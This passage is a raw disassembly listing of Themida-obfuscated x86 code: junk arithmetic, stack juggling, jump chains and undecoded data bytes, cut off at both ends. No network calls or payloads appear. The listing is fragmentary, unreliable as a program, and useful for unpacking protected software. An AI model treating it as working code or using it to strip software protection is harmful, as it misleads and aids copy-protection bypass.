		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	bl, 7Dh
		sub	bl, 26h
		push	small 4D06h
		mov	[esp], cx
		mov	cl, 84h
		add	bl, 0A5h
		sub	bl, cl
		sub	bl, 0A5h
		jmp	loc_5634C8
; ---------------------------------------------------------------------------

loc_561C2F:				; CODE XREF: Themida_:005676E0j
		add	[esp+4], ebx
		pop	ebx
		jmp	loc_55F036
; ---------------------------------------------------------------------------

loc_561C39:				; CODE XREF: Themida_:005650C3j
		pop	esp
		push	edi
		jmp	loc_556626
; ---------------------------------------------------------------------------
		dd 0C331D831h, 6893D0F7h, 30FFh, 0BA241489h, 0BD78FB0Eh
		dd 3446E9h, 0A0BD5500h,	0F7350A59h, 4FF55DDh, 0F3E95D24h
		dd 5FFFFF73h, 0E904C183h, 0D5Bh, 355DB850h, 0E9485D23h
		dd 0FFFF3BFDh, 7710E954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_561C86:				; CODE XREF: Themida_:005632B9j
		pop	edx
		push	eax
		jmp	loc_562FB5
; ---------------------------------------------------------------------------

loc_561C8D:				; CODE XREF: Themida_:005672ACj
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebp
		push	esp
		pop	ebp
		jmp	loc_55A3D9
; ---------------------------------------------------------------------------
		db 8Bh
		dd 5BE92414h, 0B4000032h, 0F6DCF6E3h, 7ECC0DCh,	0E4F480h
		dd 0EB8058E3h, 80C328DDh, 5166DDC3h, 0CB28E5B1h, 66525966h
		dd 0E62AE951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_561CCA:				; CODE XREF: Themida_:00556D47j
		add	edx, 31B154Dh
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_55609C
; ---------------------------------------------------------------------------
		db 5Eh
		dd 8BC8315Dh, 8951240Ch, 196857E1h, 5F17F740h, 330CE9h
		db 0
; ---------------------------------------------------------------------------

loc_561CF5:				; CODE XREF: Themida_:0055D7C8j
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		push	7B8Dh
		mov	[esp], ebp
		push	1
		mov	ebp, [esp]
		jmp	loc_55E735
; ---------------------------------------------------------------------------
		db 57h
		dd 0A2028BFh, 31C1BD0Ah, 0FD29799Eh, 0C6E9515Fh
		db 0BDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_561D27:				; CODE XREF: Themida_:00558F52j
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], eax
		push	esp
		pop	eax
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_559B0A
; ---------------------------------------------------------------------------
		db 0F7h, 0D5h, 81h
		dd 7A3495CDh, 0F1E5814Ch, 5668C048h, 0A16318BEh, 87E6D106h
		dd 1A80E9DEh, 6852FFFFh, 7BF16576h, 0F9B3E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_561D66:				; CODE XREF: Themida_:0055F280j
		push	ebx
		mov	bh, 0EBh
		sub	al, bh
		pop	ebx
		sub	al, bl
		add	al, 0EBh
		push	dword ptr [esp]
		jmp	loc_55901E
; ---------------------------------------------------------------------------
		dd 4C381h, 0C3830000h, 241C8704h, 0FF38C7E9h, 6D7468FFh
		dd 14890000h, 39CB6824h, 0C890000h, 1542E924h, 0E951FFFFh
		dd 0FFFF3AB2h, 3066C181h, 815D0DD9h, 767A19E9h,	0E1814158h
		dd 765A3A89h, 0E981D9F7h, 5812BABCh, 0FF59C801h, 0E95D2434h
		dd 0FFFF5048h
; ---------------------------------------------------------------------------

loc_561DCC:				; CODE XREF: Themida_:005554C1j
		mov	eax, [esp]
		add	esp, 4
		push	edx
		mov	edx, esp
		push	eax
		mov	eax, 2962D84h
		neg	eax
		xor	eax, 7F9C72F8h
		dec	eax
		not	eax
		jmp	loc_5649B0
; ---------------------------------------------------------------------------
		db 89h,	0F9h, 5Fh
		dd 2B27E981h, 0EB81EAC3h, 4B4830B7h, 93E9CB29h
		db 0BBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_561E03:				; CODE XREF: Themida_:0056693Fj
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], eax
		push	55E2h
		mov	[esp], ecx
		push	edx
		push	11683A27h
		pop	edx
		add	edx, 1
		push	esi
		push	1B2F2E9Dh
		pop	esi
		and	esi, 30923F26h
		neg	esi
		neg	esi
		dec	esi
		shl	esi, 2
		jmp	loc_566A48
; ---------------------------------------------------------------------------
		db 5Ch,	89h, 24h
		dd 24048124h, 4, 5A2434FFh, 4C481h, 0C8E90000h,	6600003Ah
		dd 6624048Fh, 0AE19E95Ah, 0EBC0FFFFh, 2623E908h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_561E66:				; CODE XREF: Themida_:00564A6Cj
		add	dword ptr [esp+4], 337A75BEh
		sub	[esp+4], ebx
		push	edx
		jmp	loc_55BD8E
; ---------------------------------------------------------------------------
		dd 0C681EE01h, 744D2AEEh, 0FF892AE9h, 79C381FFh, 2902D97Fh
		dd 79EB81CBh, 5902D97Fh, 124EE9h, 25196800h, 815E54C6h
		dd 84447BF6h, 0E9F1895Fh, 3D4Fh, 927E95Bh, 2BE0000h, 81000000h
		dd 202706C3h, 7DEB8146h, 175B32Bh, 7DC381F3h, 0E975B32Bh
		dd 0FFFF8D8Eh
; ---------------------------------------------------------------------------

loc_561ED0:				; CODE XREF: Themida_:0055FF62j
		mov	ebx, [esp]
		add	esp, 4
		add	al, 0E3h
		push	ecx
		mov	cl, 0AAh
		add	cl, 0B1h
		add	al, cl
		mov	ecx, [esp]
		add	esp, 4
		mov	dx, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_563CB1
; ---------------------------------------------------------------------------
		dd 0E952ADh, 83FFFF2Dh,	8F6604C4h, 8F4E900h, 84BFFFFFh
		dd 0E93A1F07h, 4DEBh, 28E8F380h, 0EC815BD9h, 2,	24148966h
		dd 0FF55F1E9h, 5441BFFFh, 0D7F704C7h, 72D6B850h, 16E96A2Ch
		db 9, 2	dup(0FFh)
; ---------------------------------------------------------------------------

loc_561F3B:				; CODE XREF: Themida_:00560C40j
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		push	80000h
		pop	ebp
		and	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_55956D
; ---------------------------------------------------------------------------
		dd 89240489h, 7445E9E0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_561F6A:				; CODE XREF: Themida_:0055DD96j
		dec	edx
		neg	edx
		add	edx, 0BBE2EFEEh
		sub	edi, 5C616C62h
		jmp	loc_562858
; ---------------------------------------------------------------------------
		dw 0CBB8h
		dd 53153925h, 822421BBh, 0AD45E92Ah, 48BFFFFh, 4C48124h
		dd 0E9000000h, 0FFFF0862h
; ---------------------------------------------------------------------------

loc_561F9C:				; CODE XREF: Themida_:0055BAA2j
		pop	esp
		add	bl, al
		jmp	loc_55F6BC
; ---------------------------------------------------------------------------
		dd 295FF889h, 58042444h, 3B240481h, 2931D32Bh, 2C81240Ch
		dd 0D32B3B24h, 3B1D6831h, 3C890000h, 0F9BB5324h, 0BF4B0E07h
		dd 0D58B762Bh, 15BDF01h, 5F04247Ch, 0FF6965E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_561FDD:				; CODE XREF: Themida_:00562716j
		push	esp
		pop	dword ptr [esp]
		push	eax
		mov	eax, 4
		add	[esp+4], eax
		pop	eax
		mov	ebx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 5F3015EBh
		push	ecx
		mov	ecx, 0A0CFEA19h
		add	ebp, ecx
		pop	ecx
		add	ebx, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_55F1C6
; ---------------------------------------------------------------------------

loc_56200F:				; CODE XREF: Themida_:0055F050j
		dec	ecx
		not	ecx
		add	ecx, 41F52D75h
		add	edi, 23015B12h
		jmp	loc_55A3D2
; ---------------------------------------------------------------------------
		db 89h
		dd 103568E1h, 0E7E90000h, 31FFFF6Eh, 0BAEE9F5h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_562036:				; CODE XREF: Themida_:005649DFj
		mov	eax, ecx
		jmp	loc_559659
; ---------------------------------------------------------------------------
		db 5Ch,	66h, 89h
		dd 50662414h, 7B4E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56204A:				; CODE XREF: Themida_:0056036Aj
		mov	ecx, [esp]
		add	esp, 4
		not	ecx
		push	6DD4h
		mov	[esp], eax
		push	ecx
		pop	eax
		pop	ecx
		jmp	loc_567751
; ---------------------------------------------------------------------------

loc_562065:				; CODE XREF: Themida_:00552828j
		push	ebx
		mov	ebx, 44D47D7Fh
		shr	ebx, 5
		sub	ebx, 75F510AEh
		sub	ecx, ebx
		pop	ebx
		add	ebx, ecx
		pop	ecx
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ch, 0B1h
		dec	ch
		not	ch
		jmp	loc_5642EE
; ---------------------------------------------------------------------------

loc_562092:				; CODE XREF: Themida_:0055B48Ej
		pop	ecx
		jmp	loc_55874A
; ---------------------------------------------------------------------------
		dd 15FF801h, 0E9042444h, 13B8h
; ---------------------------------------------------------------------------

loc_5620A4:				; CODE XREF: Themida_:00557A32j
		push	dword ptr [esp+4]
		jmp	loc_5621F5
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0E92434FFh, 0FFFFDAA8h, 0C1F2D5Ch, 0F0014414h, 140C1F05h
		dd 7BC02D44h, 44E9743Dh, 68FFFF15h, 4AA5h, 0E9241489h
		dd 0FFFF083Bh, 0E95EF101h, 4BBDh
; ---------------------------------------------------------------------------

loc_5620E4:				; CODE XREF: Themida_:005587A5j
		add	ebx, edx
		pop	edx
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_563F8E
; ---------------------------------------------------------------------------

loc_5620F0:				; CODE XREF: Themida_:00561749j
		push	ebx
		mov	ebx, 0D15641Ch
		sub	ebx, 2EB236Ah
		sub	ebx, 0F7FF0CC2h
		xor	eax, ebx
		jmp	loc_554682
; ---------------------------------------------------------------------------

loc_562109:				; CODE XREF: Themida_:00552B87j
		and	bh, al
		pop	eax
		jmp	loc_5632F6
; ---------------------------------------------------------------------------
		db 53h,	54h, 0E9h
		dd 1FC0h
; ---------------------------------------------------------------------------

loc_562118:				; CODE XREF: Themida_:0055D020j
		not	eax
		push	esi
		jmp	loc_55CB19
; ---------------------------------------------------------------------------
aQh		db 'Qh^&',0
		align 2
		dw 2489h
		dd 24048124h, 4, 55240C8Bh, 0C5815D54h,	4, 0D17E953h, 0EC800000h
		dd 99F480D0h, 0E99BEB80h, 0FFFFA87Fh
; ---------------------------------------------------------------------------

loc_562150:				; CODE XREF: Themida_:00565A7Dj
		pop	ebx
		jmp	loc_555394
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 13F2E924h, 0D0010000h, 5724148Bh, 11E9E789h,	83000000h
		dd 0CDE904C4h
		db 0E3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_562173:				; CODE XREF: Themida_:00561398j
		pop	ebx
		shl	ch, 2
		jmp	loc_55A12C
; ---------------------------------------------------------------------------
		dd 4C781h, 0C7830000h, 243C8704h, 0F4E9565Ch, 81FFFF69h
		dd 2F6761C7h, 8C8AE927h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56219A:				; CODE XREF: Themida_:0055AE4Dj
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		and	eax, edx
		pop	edx
		or	edx, eax
		shl	edx, 1
		push	dword ptr [edi+24h]
		push	esi
		jmp	loc_56535E
; ---------------------------------------------------------------------------
		db 8Bh,	3Ch, 24h
		dd 0FF846CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5621B9:				; CODE XREF: Themida_:00567547j
		push	ebp
		mov	ebp, 4
		add	eax, ebp
		pop	ebp
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_553FC4
; ---------------------------------------------------------------------------

loc_5621CD:				; CODE XREF: Themida_:0055D0F3j
		push	esi
		mov	esi, 441B55A8h
		mov	edx, 18BECE6h
		jmp	loc_557530
; ---------------------------------------------------------------------------
		db 1, 0D7h, 0E9h
		dd 0FFFF376Eh, 56F6E95Bh, 0E181FFFFh, 271C06F4h, 0FFA0FAE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5621F5:				; CODE XREF: Themida_:005620A8j
		push	dword ptr [esp]
		pop	eax
		push	edi
		mov	edi, esp
		jmp	loc_55EA60
; ---------------------------------------------------------------------------
		db 56h,	0E9h, 71h
		db 8, 2	dup(0FFh)
; ---------------------------------------------------------------------------

loc_562207:				; CODE XREF: Themida_:00559FC9j
		add	bl, 30h
		push	edx
		mov	dl, 0AEh
		sub	dl, 63h
		sub	bl, dl
		pop	edx
		pop	ecx
		add	bl, al
		sub	bl, 0B9h
		push	ecx
		push	eax
		jmp	loc_566C20
; ---------------------------------------------------------------------------
		dd 8107EBC1h, 0A2DDEEEBh, 5BDE015Ah, 685EF131h,	22DBh
		dd 0BF243C89h, 6C8F080Fh, 0E941CF87h, 0FFFF70D1h, 0E9028F66h
		dd 0FFFF05B2h, 0AF58C581h, 0B0E9DF73h, 33FFFF30h, 5FE9243Ch
		dd 0ACFFFF21h, 5166B104h, 0E828D3B5h, 240C8B66h, 2C481h
		dd 7CE90000h, 0FF000011h, 6EE93C77h, 89FFFF79h,	68522434h
		dd 4, 5EE9525Ah
		db 3, 2	dup(0)
; ---------------------------------------------------------------------------

loc_56228F:				; CODE XREF: Themida_:0055D598j
		push	esi
		push	43B3h
		mov	[esp], esp
		push	1115h
		mov	[esp], ebp
		jmp	loc_562E10
; ---------------------------------------------------------------------------
		db 0B9h, 2, 0
		dd 0C7810000h, 47795703h, 0EF81CF01h, 47795703h, 243C8759h
		dd 429665Ch, 37E99C24h,	0BFFFFF05h, 31020723h, 760C1CBEh
		dd 5FCE8137h, 0C15F8D50h, 0CE8104EEh, 4CDF028Eh, 30D1F681h
		dd 0E681052Fh, 49D7285Bh, 73BBA52h, 0D62979D2h,	0FF7324E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5622F9:				; CODE XREF: Themida_:00560092j
		pop	edx
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]

loc_562309:				; CODE XREF: Themida_:005600A0j
					; Themida_:loc_5632A8j
		push	dword ptr [edi+24h]
		jmp	loc_55B325
; ---------------------------------------------------------------------------

loc_562311:				; CODE XREF: Themida_:00565B99j
		mov	esp, [esp]
		mov	[esp], ax
		jmp	loc_55CBD5
; ---------------------------------------------------------------------------
aYhc		db 'Yh–*',0
		dw 8900h
		dd 50512404h, 0C188F2B0h, 4CE98058h, 9AEE9h, 29B65200h
		dd 0F6A4EE80h, 8EEC0D6h, 0FF63E0E9h, 240430FFh,	742AE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56234E:				; CODE XREF: Themida_:00558968j
		xor	edi, 4E8E1458h
		mov	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_567902
; ---------------------------------------------------------------------------
		db 1, 0C6h, 0FFh
		dd 87E92434h, 81FFFFB5h, 4C0446C1h, 53E90103h, 0A45869BBh
		dd 0BDCB816Fh, 0E90BC225h, 0FFFFEF28h
; ---------------------------------------------------------------------------

loc_562384:				; CODE XREF: Themida_:0055F499j
		mov	[esp], ecx
		mov	ecx, 4
		sub	eax, 61631D7Eh
		sub	eax, 14887148h
		add	eax, ecx
		add	eax, 14887148h
		push	ebp
		mov	ebp, 5A6313D5h
		inc	ebp
		jmp	loc_566E81
; ---------------------------------------------------------------------------
		db 59h,	50h, 0B8h
		dd 1CF63435h, 3158C331h, 2769E9DDh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5623BA:				; CODE XREF: Themida_:005604CEj
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		sub	esp, 4
		jmp	loc_55F617
; ---------------------------------------------------------------------------

loc_5623D8:				; CODE XREF: Themida_:00564DB6j
		or	edi, ecx
		pop	ecx
		shl	edi, 1
		push	eax
		mov	eax, 329059D5h
		xor	eax, 50480436h
		add	eax, 34F57FC2h
		inc	eax
		shl	eax, 1
		not	eax
		add	eax, 67D29E8h
		jmp	loc_564EF4
; ---------------------------------------------------------------------------
		dd 9D4276B9h, 0AEE94105h, 68FFFF79h, 3159h, 0FF207DE9h
		dd 4BAFFh, 55E90000h, 0FFFFFF29h, 669D1C77h, 1CD36659h
		dd 0D3E99C24h
		db 3, 2	dup(0FFh)
; ---------------------------------------------------------------------------

loc_56242B:				; CODE XREF: Themida_:00560DE4j
		shl	edx, 7
		xchg	ecx, edx
		not	ecx
		jmp	loc_565ADF
; ---------------------------------------------------------------------------
		db 0FEh
		dd 80C6FECEh, 0CE8098C6h, 2460E97Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_562446:				; CODE XREF: Themida_:00558B37j
		add	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		push	ebp
		push	61AA2D96h
		pop	ebp
		add	ecx, ebp
		pop	ebp
		sub	ecx, 50490061h
		and	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_55EFEA
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 5868240Ch, 89000018h, 0E6892434h, 4C681h, 68520000h
		dd 6BBBh, 50240C89h, 6267168h, 24048B35h, 4C481h, 0E9480000h
		dd 2B3Dh
; ---------------------------------------------------------------------------

loc_5624A0:				; CODE XREF: Themida_:00564908j
		pop	ebp
		sub	eax, edx
		push	ebp
		mov	ebp, 4EFB0F55h
		add	eax, 4C17EB6h
		jmp	loc_561734
; ---------------------------------------------------------------------------
		db 83h
		dd 8A6802C7h, 8900000Bh, 74FF243Ch, 3C8B0424h, 4C48124h
		dd 8F000000h, 0DAE92404h, 68FFFF7Fh, 35Ch, 0FFCFC1E9h
		dd 4BE56FFh, 1000000h, 4335EF0h, 24043124h, 0FF953BE9h
		dd 4B3568FFh, 14890000h, 24048B24h, 0FFAA84E9h,	7822BAFFh
		dd 0E28112BBh, 25465803h, 0FFC3C8E9h, 34FF58FFh, 8FE95924h
		dd 0C000002Eh, 0C38002EBh, 5BD888E8h, 0FFCE2AE9h, 0C8B66FFh
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 2
		jmp	loc_55D67C
; ---------------------------------------------------------------------------

loc_562541:				; CODE XREF: Themida_:00555FE3j
		add	bl, 77h
		sub	bl, 6Ah
		jmp	loc_557F56
; ---------------------------------------------------------------------------
		dd 0FFFFFFBBh, 5BDE29FFh, 4EC81h, 1C890000h, 16A5BB24h
		dd 0DE21475Dh, 89564E5Bh, 4C681E6h, 83000000h, 348704EEh
		dd 14895C24h, 23F3BA24h, 51E95201h, 8BFFFF25h, 0E951243Ch
		dd 0FFFFD473h, 5E08950h, 4, 0E904E883h,	0FFFF1A15h, 5C24048Fh
		dd 53242489h, 0FFC1B8E9h, 122568FFh, 2C890000h,	3768E924h
		dd 1487FFFFh, 34895C24h, 0E95E5424h, 0FFFF9B1Ah, 0BB0F665Ch
		dd 0E99C2404h, 0FFFF022Eh, 0E9240C89h, 0FFFF4E25h, 0A2E9D528h
		dd 89000005h, 0FB9240Ch, 911F355Bh, 0FFBBEFE9h,	243481FFh
		dd 46B26C7Fh, 7FBA525Eh, 3146B26Ch, 148B5AD6h, 0E1DFE924h
		dd 0C7BAFFFFh, 0E914FC2Eh, 0FFFFDC5Ah
; ---------------------------------------------------------------------------

loc_562610:				; CODE XREF: Themida_:0056310Ej
		sub	ebp, 12E62FF2h
		add	edi, ebp
		pop	ebp
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		sub	esp, 4
		jmp	loc_55C356
; ---------------------------------------------------------------------------
		dw 0E981h
		dd 4560337h, 0C181F101h, 4560337h, 21CEE9h, 69B85E00h
		dd 2D56BB5Eh, 15683311h, 0EE9C829h, 31FFFF8Eh, 3AE92434h
		dd 89FFFF2Eh, 0ED68241Ch, 5B428704h, 0D5E9C331h
		db 0F5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56266B:				; CODE XREF: Themida_:0055F3DEj
		not	esi
		inc	esi
		inc	esi
		sub	esi, 0D19811DDh
		jmp	loc_560256
; ---------------------------------------------------------------------------

loc_56267A:				; CODE XREF: Themida_:0055B8EFj
		push	5BEF0D7Ah
		pop	ebp
		sub	ebp, 53B46B70h
		add	ebp, 6D0593FEh
		push	0EDFh
		jmp	loc_554A35
; ---------------------------------------------------------------------------

loc_562696:				; CODE XREF: Themida_:00559977j
		push	ebx
		push	esi
		mov	esi, 6B382958h
		or	esi, 3C402F0Fh
		sub	esi, 1
		xor	esi, 3D3A31FAh
		inc	esi
		sub	esp, 4
		mov	[esp], esi
		not	dword ptr [esp]
		pop	esi
		add	esi, 96725C64h
		push	esi
		pop	ebx
		mov	esi, [esp]
		add	esp, 4
		sub	ebx, 0FB02D9Ch
		push	ebx
		mov	ebx, 1C385427h
		jmp	loc_566631
; ---------------------------------------------------------------------------
		dd 0D735DD05h, 2434FF0Eh, 0FF5DC8E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5626E9:				; CODE XREF: Themida_:0055D8EDj
		pop	edx
		add	ebp, 2
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		xor	bx, ax
		movzx	eax, ax
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebx
		sub	esp, 4
		jmp	loc_561FDD
; ---------------------------------------------------------------------------
		db 0BEh
		dd 4, 45E9F329h
		db 73h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_562727:				; CODE XREF: Themida_:0055F23Dj
		add	al, ch
		sub	al, 7Ch
		push	ecx
		mov	cl, 2Eh
		sub	al, 9Ah
		add	al, cl
		add	al, 9Ah
		mov	ecx, [esp]
		push	4FFFh
		mov	[esp], eax
		mov	eax, esp
		jmp	loc_5666C0
; ---------------------------------------------------------------------------
		dw 0D0F7h
		dd 0E10D4840h, 400FD610h, 6D39FB35h, 8E7D053Fh,	0C50997A4h
		dd 0E5ED8158h, 216E1FD1h, 4596E9E8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56276A:				; CODE XREF: Themida_:00563BDBj
		add	al, 0E7h
		add	al, ch
		sub	al, 0E7h
		mov	ecx, [esp]
		add	esp, 4
		push	ebx
		push	esp
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		push	159D4737h
		pop	esi
		not	esi
		push	edi
		mov	edi, 159D473Ch
		add	esi, edi
		pop	edi
		add	ebx, esi
		mov	esi, [esp]
		jmp	loc_5592DC
; ---------------------------------------------------------------------------

loc_5627A6:				; CODE XREF: Themida_:00559184j
		add	edi, 16E863EBh
		shl	edi, 2
		not	edi
		dec	edi
		jmp	loc_555BCA
; ---------------------------------------------------------------------------
		db 2Ch
		dd 0E95153B6h, 0FFFF90BFh
; ---------------------------------------------------------------------------

loc_5627C0:				; CODE XREF: Themida_:0055945Cj
		mov	[esp], eax
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_564F11
; ---------------------------------------------------------------------------
		db 1, 0F5h, 8Bh
		dd 89502434h, 405E0h, 1BE90000h
		db 42h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5627EB:				; CODE XREF: Themida_:005634ADj
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	esi
		jmp	loc_55419A
; ---------------------------------------------------------------------------

loc_5627F7:				; CODE XREF: Themida_:0055B0A1j
		xor	edx, 7F3C3ED3h
		add	eax, edx
		pop	edx
		push	ecx
		jmp	loc_5662F5
; ---------------------------------------------------------------------------

loc_562806:				; CODE XREF: Themida_:005598C2j
		xchg	ebp, [esp]
		jmp	loc_560D75
; ---------------------------------------------------------------------------
		dw 8158h
		dd 0A968CDEBh, 81D3012Dh, 0A968CDC3h, 0FF535A2Dh, 5B042474h
		dd 5C24048Fh, 8B2434FFh, 0C4832404h, 4EC8104h, 0E9000000h
		dd 0FFFF8AFAh, 3EF3815Ah, 0E96E9974h, 0FFFF6294h
; ---------------------------------------------------------------------------

loc_562848:				; CODE XREF: Themida_:0055459Aj
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_5672C2
; ---------------------------------------------------------------------------

loc_562858:				; CODE XREF: Themida_:00561F79j
		add	edi, edx
		add	edi, 5C616C62h
		pop	edx
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		xor	eax, ebx
		xor	ebx, eax
		xor	eax, ebx
		sub	esp, 4
		mov	[esp], edx
		push	3B48h
		jmp	loc_566E17
; ---------------------------------------------------------------------------
		dw 815Ch
		dd 4C5h, 74FF5500h, 34FF0424h, 242C8B24h, 5004C483h, 405E089h
		dd 5000000h, 4,	5C240487h, 8B24048Fh, 0C5E92424h, 80FFFF24h
		dd 0D8280AEBh, 81241C8Bh, 4C4h,	81D80000h, 4ECh, 241C8900h
		dd 0DF04B3B3h, 5266D800h, 14B3E950h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5628E2:				; CODE XREF: Themida_:005669D6j
		mov	[esp], ebp
		push	edi
		push	edx
		push	6BDD0119h
		pop	edx
		push	edx
		not	dword ptr [esp]
		pop	edx
		shr	edx, 3
		neg	edx
		add	edx, 43E364D8h
		mov	edi, edx
		pop	edx
		dec	edi
		shl	edi, 3
		jmp	loc_565B72
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 54h
		dd 813F9E78h, 74161AC6h, 5B6D689Dh, 1C890000h, 77A6BB24h
		dd 18681E63h, 89000024h, 0BF243Ch, 8122661Bh, 0A603B5F7h
		dd 0FBC78140h, 81040A17h, 2FEEEC7h, 6EEF819Eh, 0C1A3F1BFh
		dd 95E902E7h, 81FFFF41h, 1B7765E5h, 511EE914h, 0EF81FFFFh
		dd 0F46CE794h, 3C8BFD01h, 4C48124h, 81000000h, 5A17F4EDh
		dd 0C581453Dh, 42783B2Bh, 5E74C581h, 45E91DFFh
		db 8Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_562983:				; CODE XREF: Themida_:0055BCECj
		pop	dword ptr [esp]
		pop	esp
		shl	eax, cl
		push	1149h
		mov	[esp], eax
		push	ebx
		jmp	loc_565849
; ---------------------------------------------------------------------------
		db 5Dh
		dd 5CD3E95Eh, 0F231FFFFh, 0E9DAF75Eh, 0FFFF023Ch
; ---------------------------------------------------------------------------

loc_5629A8:				; CODE XREF: Themida_:00557C41j
		xchg	ebx, ecx
		jmp	loc_552F06
; ---------------------------------------------------------------------------
		db 52h
		dd offset dword_4B5248+0AAA1h
		db 0
; ---------------------------------------------------------------------------

loc_5629B5:				; CODE XREF: Themida_:00559A25j
		neg	ebx
		sub	ebx, 6DBB0EA3h
		jmp	loc_560A93
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 7F9A7811h, 87E9E6D1h, 87FFFF79h, 575C240Ch, 0FF790FE9h
		dd 0E9535FFFh, 0FFFF4FC6h, 8B240487h, 0EC832424h, 242C8904h
		dd 0CE12C3BDh, 69B8686Ah, 2C890000h, 0A20CE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5629FE:				; CODE XREF: Themida_:00564DE0j
		bt	[esp], eax
		pushf
		jmp	loc_5527FE
; ---------------------------------------------------------------------------

loc_562A08:				; CODE XREF: Themida_:005534F1j
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		add	eax, ebp
		push	dword ptr [esp]
		jmp	loc_566B0B
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0F28102E2h, 744456CCh, 2414F752h, 4DB1E95Ah,	0BA520000h
		dd 69C44C03h, 17E1C181h, 0D1013E07h, 0E1BB5352h, 893E0717h
		dd 0D1295BDAh, 4175E95Ah, 0EB81FFFFh, 58103219h, 0C381F301h
		dd 58103219h, 0FFC565E9h, 4C781FFh, 87000000h, 0E95C243Ch
		dd 1584h, 0F781DFF7h, 2DE597BAh, 2332C381h, 0FB017564h
		dd 2332BF57h, 0EB817564h, 7AFF70E1h, 53E9h
		db 0
; ---------------------------------------------------------------------------

loc_562A91:				; CODE XREF: Themida_:00553A43j
		xor	ecx, edx
		pop	edx
		mov	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	ebx
		neg	dword ptr [esp]
		pop	ebx
		xor	ebx, 0F4C7FD09h
		and	eax, ebx
		mov	ebx, [esp]
		jmp	loc_566C4A
; ---------------------------------------------------------------------------
		dd 5168665Ch, 0C896656h, 50406824h, 14890000h, 5136B224h
		dd 0FF55F6E9h, 241489FFh, 5CBFB850h, 0B9512AABh, 0E131CBABh
		dd 0E959CA89h, 0FFFF53DDh, 0C381FB29h, 7AFF70E1h, 2434FF5Fh
		dd 0E9243C8Bh, 0FFFF27D8h, 0E38882B4h, 24048B66h, 2802C483h
		dd 241C8BD9h, 3A2BE9h
		db 0
; ---------------------------------------------------------------------------

loc_562B0D:				; CODE XREF: Themida_:0055B8A7j
		sub	edi, 17182BD7h
		jmp	loc_55DBEE
; ---------------------------------------------------------------------------

loc_562B18:				; CODE XREF: Themida_:0055DE31j
		pop	edx
		push	ecx
		mov	ecx, 0E781E3Ch
		add	dword ptr [esp+8], 30BA0909h
		sub	[esp+8], ecx
